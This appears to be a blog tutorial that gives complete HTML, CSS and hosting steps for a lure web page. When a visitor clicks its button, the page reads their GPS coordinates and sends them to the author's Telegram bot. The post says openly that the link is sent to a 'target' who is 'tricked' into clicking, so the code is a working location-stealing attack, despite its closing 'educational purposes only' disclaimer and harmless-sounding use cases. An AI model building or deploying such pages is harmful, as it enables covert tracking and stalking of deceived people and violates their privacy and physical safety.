GPS Tracking with HTML & CSS🎯
Exploiting Location with HTML & CSS + Bot + Free Host
GPS Tracking with HTML & CSS🎯
Sending Location with Telegram Bot Using HTML, CSS
This project demonstrates a webpage that collects the user’s geolocation and sends it to a Telegram bot using the Telegram Bot API. Below is an explanation of the code and its functionality.
Requirements :
Chat ID : You need to go to the @userinfobot bot and copy the id it gives you and paste it into the html code section.
HTML Replace Code : var chatId = ' Your Chat ID';
Token Bot : You need to go to @BotFather and create a bot for yourself. Finally, copy the token and paste it into the html code.
HTML Replace Code : var botToken = '<Your Bot Token';
Code Breakdown: 💻
2. HTML Structure 📃
You must create the HTML code with the index.html extension, and I have written a simple code for you, you can make changes yourself.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!DOCTYPE html>
<html>
<head>
<title>Telegram @i2xAm1r</title>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<script>
function sendLocation() {
navigator.geolocation.getCurrentPosition(function(position) {
var latitude = position.coords.latitude;
var longitude = position.coords.longitude;
var botToken = 'XXXXXXXXXXXXX'; // Replace with your bot token
var chatId = 'XXXXXXXXXX'; // Replace with your bot token
var url = 'https://api.telegram.org/bot' + botToken + '/sendLocation';
var params = {
chat_id: chatId,
latitude: latitude,
longitude: longitude
};
var xhr = new XMLHttpRequest();
xhr.open('POST', url, true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify(params));
});
}
</script>
<div class="login-box">
<form>
<a href="#" onclick="sendLocation()">click
<span></span>
<span></span>
<span></span>
<span></span>
</a>
</form>
</div>
</body>
</html>
3. CSS Styling 📃
Here you also need to create a file called style.css and paste the code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
html {
height: 100%;
}
body {
margin:0;
padding:0;
font-family: sans-serif;
background: linear-gradient(#141e30, #140101);
}
.login-box {
position: absolute;
top: 50%;
left: 50%;
width: 400px;
padding: 40px;
transform: translate(-50%, -50%);
background: rgba(0,0,0,.5);
box-sizing: border-box;
box-shadow: 0 15px 25px rgba(0,0,0,.6);
border-radius: 10px;
}
.login-box h2 {
margin: 0 0 30px;
padding: 0;
color: #fff;
text-align: center;
}
.login-box .user-box {
position: relative;
}
.login-box .user-box input {
width: 100%;
padding: 10px 0;
font-size: 16px;
color: #fff;
margin-bottom: 30px;
border: none;
border-bottom: 1px solid #fff;
outline: none;
background: transparent;
}
.login-box .user-box label {
position: absolute;
top:0;
left: 0;
padding: 10px 0;
font-size: 16px;
color: #fff;
pointer-events: none;
transition: .5s;
}
.login-box .user-box input:focus ~ label,
.login-box .user-box input:valid ~ label {
top: -20px;
left: 0;
color: #f40303;
font-size: 12px;
}
.login-box form a {
position: relative;
display: inline-block;
padding: 10px 20px;
color: #ff0000;
font-size: 16px;
text-decoration: none;
text-transform: uppercase;
overflow: hidden;
transition: .5s;
margin-top: 40px;
letter-spacing: 4px
}
.login-box a:hover {
background: #000000;
color: #fff;
border-radius: 5px;
box-shadow: 0 0 5px #000000,
0 0 25px #03e9f4,
0 0 50px #03e9f4,
0 0 100px #ffffff;
}
.login-box a span {
position: absolute;
display: block;
}
.login-box a span:nth-child(1) {
top: 0;
left: -100%;
width: 100%;
height: 2px;
background: linear-gradient(90deg, transparent, #03e9f4);
animation: btn-anim1 1s linear infinite;
}
@keyframes btn-anim1 {
0% {
left: -100%;
}
50%,100% {
left: 100%;
}
}
.login-box a span:nth-child(2) {
top: -100%;
right: 0;
width: 2px;
height: 100%;
background: linear-gradient(180deg, transparent, #000000);
animation: btn-anim2 1s linear infinite;
animation-delay: .25s
}
@keyframes btn-anim2 {
0% {
top: -100%;
}
50%,100% {
top: 100%;
}
}
.login-box a span:nth-child(3) {
bottom: 0;
right: -100%;
width: 100%;
height: 2px;
background: linear-gradient(270deg, transparent, #7303f4);
animation: btn-anim3 1s linear infinite;
animation-delay: .5s
}
@keyframes btn-anim3 {
0% {
right: -100%;
}
50%,100% {
right: 100%;
}
}
.login-box a span:nth-child(4) {
bottom: -100%;
left: 0;
width: 2px;
height: 100%;
background: linear-gradient(360deg, transparent, #420e0e);
animation: btn-anim4 1s linear infinite;
animation-delay: .75s
}
@keyframes btn-anim4 {
0% {
bottom: -100%;
}
50%,100% {
bottom: 100%;
}
}
Free Host 🍃
I use this site myself and it works fine 👉 Glitch
1. Glitch config
- First you create an account, then you click on new project and click on
glitch-hello-website. - Now you need to upload the index.html and style.css files.
- Now you can copy the address and use it.
And boom boom, your Bot is ready to use 🥳🤝 Now when you send address to target and it is tricked and clicks, the location will be sent to your bot.✅ Use Case:
This code can be used to collect and send location data to Telegram for various purposes, such as:
- Emergency response systems.
- Custom location tracking for specific users.
- Automation tasks requiring location information.
Disclaimer 🤝
This document and its accompanying code are provided for educational purposes only. The author is not responsible for any misuse or damage caused by the use of this information.
Social Media
This post is licensed under CC BY 4.0 by the author.